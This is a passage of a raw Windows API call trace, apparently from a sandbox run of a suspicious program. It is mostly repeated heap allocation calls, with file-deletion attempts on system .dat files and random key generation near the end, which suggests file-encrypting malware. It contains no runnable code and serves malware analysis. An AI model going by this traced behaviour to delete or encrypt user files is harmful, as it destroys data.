GetLastError () returned 0x0 [0120.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0120.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0120.086] GetLastError () returned 0x0 [0120.088] GetLastError () returned 0x0 [0120.088] GetCurrentThreadId () returned 0x9b0 [0120.088] GetLastError () returned 0x0 [0120.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.089] GetLastError () returned 0x0 [0120.089] GetLastError () returned 0x0 [0120.090] GetCurrentThreadId () returned 0x9b0 [0120.090] GetLastError () returned 0x0 [0120.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0120.090] GetCurrentThreadId () returned 0x9b0 [0120.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.090] GetLastError () returned 0x0 [0120.091] GetLastError () returned 0x0 [0120.091] GetLastError () returned 0x0 [0120.091] GetLastError () returned 0x0 [0120.091] GetCurrentThreadId () returned 0x9b0 [0120.091] GetLastError () returned 0x0 [0120.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.091] GetLastError () returned 0x0 [0120.093] GetLastError () returned 0x0 [0120.093] GetCurrentThreadId () returned 0x9b0 [0120.093] GetLastError () returned 0x0 [0120.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.093] GetLastError () returned 0x0 [0120.094] GetLastError () returned 0x0 [0120.094] GetCurrentThreadId () returned 0x9b0 [0120.094] GetLastError () returned 0x0 [0120.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.095] GetCurrentThreadId () returned 0x9b0 [0120.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.095] GetLastError () returned 0x0 [0120.095] GetLastError () returned 0x0 [0120.095] GetLastError () returned 0x0 [0120.095] GetLastError () returned 0x0 [0120.096] GetCurrentThreadId () returned 0x9b0 [0120.096] GetLastError () returned 0x0 [0120.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0120.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.096] GetLastError () returned 0x0 [0120.097] GetLastError () returned 0x0 [0120.097] GetCurrentThreadId () returned 0x9b0 [0120.097] GetLastError () returned 0x0 [0120.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.098] GetLastError () returned 0x0 [0120.183] GetLastError () returned 0x0 [0120.183] GetCurrentThreadId () returned 0x9b0 [0120.183] GetLastError () returned 0x0 [0120.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.184] GetCurrentThreadId () returned 0x9b0 [0120.184] GetLastError () returned 0x0 [0120.184] GetLastError () returned 0x0 [0120.184] GetLastError () returned 0x0 [0120.184] GetLastError () returned 0x0 [0120.184] GetCurrentThreadId () returned 0x9b0 [0120.184] GetLastError () returned 0x0 [0120.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.185] GetLastError () returned 0x0 [0120.186] GetLastError () returned 0x0 [0120.186] GetCurrentThreadId () returned 0x9b0 [0120.186] GetLastError () returned 0x0 [0120.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.186] GetLastError () returned 0x0 [0120.187] GetLastError () returned 0x0 [0120.187] GetCurrentThreadId () returned 0x9b0 [0120.187] GetLastError () returned 0x0 [0120.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.188] GetCurrentThreadId () returned 0x9b0 [0120.188] GetLastError () returned 0x0 [0120.188] GetLastError () returned 0x0 [0120.189] GetLastError () returned 0x0 [0120.189] GetLastError () returned 0x0 [0120.189] GetCurrentThreadId () returned 0x9b0 [0120.189] GetLastError () returned 0x0 [0120.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.189] GetLastError () returned 0x0 [0120.191] GetLastError () returned 0x0 [0120.191] GetCurrentThreadId () returned 0x9b0 [0120.191] GetLastError () returned 0x0 [0120.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.191] GetLastError () returned 0x0 [0120.193] GetLastError () returned 0x0 [0120.193] GetCurrentThreadId () returned 0x9b0 [0120.193] GetLastError () returned 0x0 [0120.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0120.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.194] GetCurrentThreadId () returned 0x9b0 [0120.194] GetLastError () returned 0x0 [0120.194] GetLastError () returned 0x0 [0120.194] GetLastError () returned 0x0 [0120.194] GetLastError () returned 0x0 [0120.194] GetCurrentThreadId () returned 0x9b0 [0120.194] GetLastError () returned 0x0 [0120.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0120.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.195] GetLastError () returned 0x0 [0120.196] GetLastError () returned 0x0 [0120.196] GetCurrentThreadId () returned 0x9b0 [0120.196] GetLastError () returned 0x0 [0120.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.196] GetLastError () returned 0x0 [0120.197] GetLastError () returned 0x0 [0120.198] GetCurrentThreadId () returned 0x9b0 [0120.198] GetLastError () returned 0x0 [0120.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0120.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.198] GetCurrentThreadId () returned 0x9b0 [0120.198] GetLastError () returned 0x0 [0120.199] GetLastError () returned 0x0 [0120.199] GetLastError () returned 0x0 [0120.199] GetLastError () returned 0x0 [0120.199] GetCurrentThreadId () returned 0x9b0 [0120.199] GetLastError () returned 0x0 [0120.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0120.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0120.199] GetLastError () returned 0x0 [0120.200] GetLastError () returned 0x0 [0120.200] GetCurrentThreadId () returned 0x9b0 [0120.200] GetLastError () returned 0x0 [0120.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.201] GetLastError () returned 0x0 [0120.201] GetLastError () returned 0x0 [0120.201] GetCurrentThreadId () returned 0x9b0 [0120.201] GetLastError () returned 0x0 [0120.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.202] GetCurrentThreadId () returned 0x9b0 [0120.202] GetLastError () returned 0x0 [0120.202] GetLastError () returned 0x0 [0120.202] GetLastError () returned 0x0 [0120.202] GetLastError () returned 0x0 [0120.202] GetCurrentThreadId () returned 0x9b0 [0120.202] GetLastError () returned 0x0 [0120.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0120.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0120.203] GetLastError () returned 0x0 [0120.204] GetLastError () returned 0x0 [0120.204] GetCurrentThreadId () returned 0x9b0 [0120.204] GetLastError () returned 0x0 [0120.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.205] GetLastError () returned 0x0 [0120.206] GetLastError () returned 0x0 [0120.206] GetCurrentThreadId () returned 0x9b0 [0120.206] GetLastError () returned 0x0 [0120.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.207] GetCurrentThreadId () returned 0x9b0 [0120.207] GetLastError () returned 0x0 [0120.207] GetLastError () returned 0x0 [0120.207] GetLastError () returned 0x0 [0120.207] GetLastError () returned 0x0 [0120.207] GetCurrentThreadId () returned 0x9b0 [0120.208] GetLastError () returned 0x0 [0120.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0120.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.208] GetLastError () returned 0x0 [0120.209] GetLastError () returned 0x0 [0120.210] GetCurrentThreadId () returned 0x9b0 [0120.210] GetLastError () returned 0x0 [0120.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.210] GetLastError () returned 0x0 [0120.210] GetLastError () returned 0x0 [0120.210] GetCurrentThreadId () returned 0x9b0 [0120.210] GetLastError () returned 0x0 [0120.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0120.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.211] GetLastError () returned 0x0 [0120.211] GetLastError () returned 0x0 [0120.211] GetLastError () returned 0x0 [0120.211] GetLastError () returned 0x0 [0120.211] GetCurrentThreadId () returned 0x9b0 [0120.211] GetLastError () returned 0x0 [0120.211] GetCurrentThreadId () returned 0x9b0 [0120.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.212] GetLastError () returned 0x0 [0120.213] GetLastError () returned 0x0 [0120.213] GetCurrentThreadId () returned 0x9b0 [0120.213] GetLastError () returned 0x0 [0120.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.213] GetLastError () returned 0x0 [0120.214] GetLastError () returned 0x0 [0120.214] GetCurrentThreadId () returned 0x9b0 [0120.214] GetLastError () returned 0x0 [0120.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0120.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.214] GetLastError () returned 0x0 [0120.214] GetLastError () returned 0x0 [0120.215] GetLastError () returned 0x0 [0120.215] GetLastError () returned 0x0 [0120.215] GetCurrentThreadId () returned 0x9b0 [0120.215] GetLastError () returned 0x0 [0120.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0120.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.215] GetLastError () returned 0x0 [0120.216] GetLastError () returned 0x0 [0120.216] GetCurrentThreadId () returned 0x9b0 [0120.216] GetLastError () returned 0x0 [0120.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.217] GetCurrentThreadId () returned 0x9b0 [0120.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.217] GetLastError () returned 0x0 [0120.217] GetLastError () returned 0x0 [0120.217] GetCurrentThreadId () returned 0x9b0 [0120.217] GetLastError () returned 0x0 [0120.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0120.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.218] GetLastError () returned 0x0 [0120.218] GetLastError () returned 0x0 [0120.218] GetLastError () returned 0x0 [0120.218] GetLastError () returned 0x0 [0120.218] GetCurrentThreadId () returned 0x9b0 [0120.218] GetLastError () returned 0x0 [0120.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0120.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0120.219] GetLastError () returned 0x0 [0120.220] GetLastError () returned 0x0 [0120.221] GetCurrentThreadId () returned 0x9b0 [0120.221] GetLastError () returned 0x0 [0120.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.221] GetLastError () returned 0x0 [0120.228] GetLastError () returned 0x0 [0120.229] GetCurrentThreadId () returned 0x9b0 [0120.229] GetLastError () returned 0x0 [0120.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xcb45) returned 0x35c5908 [0120.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.229] GetCurrentThreadId () returned 0x9b0 [0120.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0120.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xcb48) returned 0x36f8548 [0120.229] GetLastError () returned 0x0 [0120.229] GetLastError () returned 0x0 [0120.230] GetLastError () returned 0x0 [0120.230] GetLastError () returned 0x0 [0120.230] GetCurrentThreadId () returned 0x9b0 [0120.230] GetLastError () returned 0x0 [0120.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0120.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0120.230] GetLastError () returned 0x0 [0120.234] GetLastError () returned 0x0 [0120.234] GetCurrentThreadId () returned 0x9b0 [0120.234] GetLastError () returned 0x0 [0120.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.234] GetLastError () returned 0x0 [0120.234] GetLastError () returned 0x0 [0120.235] GetCurrentThreadId () returned 0x9b0 [0120.235] GetLastError () returned 0x0 [0120.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.235] GetLastError () returned 0x0 [0120.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.235] CloseHandle (hObject=0x3ac) returned 1 [0120.236] GetLastError () returned 0x0 [0120.236] GetCurrentThreadId () returned 0x9b0 [0120.236] GetLastError () returned 0x0 [0120.236] GetLastError () returned 0x0 [0120.236] CloseHandle (hObject=0x39c) returned 1 [0120.236] GetLastError () returned 0x0 [0120.236] GetCurrentThreadId () returned 0x9b0 [0120.236] GetLastError () returned 0x0 [0120.236] GetCurrentThreadId () returned 0x9b0 [0120.236] GetLastError () returned 0x0 [0120.237] GetLastError () returned 0x0 [0120.237] GetLastError () returned 0x0 [0120.237] GetLastError () returned 0x0 [0120.237] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0 [0120.237] GetLastError () returned 0x5 [0120.237] GetCurrentThreadId () returned 0x9b0 [0120.237] GetLastError () returned 0x5 [0120.237] GetLastError () returned 0x5 [0120.238] GetLastError () returned 0x5 [0120.238] GetLastError () returned 0x5 [0120.238] LocalFree (hMem=0x1053b50) returned 0x0 [0120.238] GetLastError () returned 0x5 [0120.238] GetLastError () returned 0x5 [0120.238] GetLastError () returned 0x5 [0120.238] GetLastError () returned 0x5 [0120.238] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", lpFilePart=0x9bada4*="hwrusalm.dat") returned 0x3f [0120.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0120.238] GetCurrentThreadId () returned 0x9b0 [0120.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0120.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0120.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0120.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0120.239] GetLastError () returned 0x0 [0120.239] GetLastError () returned 0x0 [0120.239] GetLastError () returned 0x0 [0120.239] GetLastError () returned 0x0 [0120.239] GetCurrentThreadId () returned 0x9b0 [0120.239] GetLastError () returned 0x0 [0120.239] GetCurrentThreadId () returned 0x9b0 [0120.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2f0 | out: hHeap=0x2ad0000) returned 1 [0120.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.240] GetCurrentThreadId () returned 0x9b0 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.240] GetLastError () returned 0x0 [0120.241] GetLastError () returned 0x0 [0120.241] GetCurrentThreadId () returned 0x9b0 [0120.241] GetLastError () returned 0x0 [0120.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.241] GetLastError () returned 0x0 [0120.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0120.241] GetLastError () returned 0x0 [0120.241] GetLastError () returned 0x0 [0120.241] GetLastError () returned 0x0 [0120.241] GetCurrentThreadId () returned 0x9b0 [0120.241] GetLastError () returned 0x0 [0120.242] GetCurrentThreadId () returned 0x9b0 [0120.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a9e8 [0120.242] GetLastError () returned 0x0 [0120.242] GetLastError () returned 0x0 [0120.242] GetLastError () returned 0x0 [0120.242] GetLastError () returned 0x0 [0120.242] GetCurrentThreadId () returned 0x9b0 [0120.242] GetLastError () returned 0x0 [0120.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0120.242] GetLastError () returned 0x0 [0120.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] GetCurrentThreadId () returned 0x9b0 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] GetLastError () returned 0x0 [0120.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0120.244] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0)) returned 1 [0120.244] GetLastError () returned 0x0 [0120.244] GetCurrentThreadId () returned 0x9b0 [0120.244] GetLastError () returned 0x0 [0120.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0120.244] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0120.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0120.244] GetCurrentThreadId () returned 0x9b0 [0120.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0120.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.245] GetLastError () returned 0x0 [0120.245] GetLastError () returned 0x0 [0120.245] GetLastError () returned 0x0 [0120.245] GetLastError () returned 0x0 [0120.245] 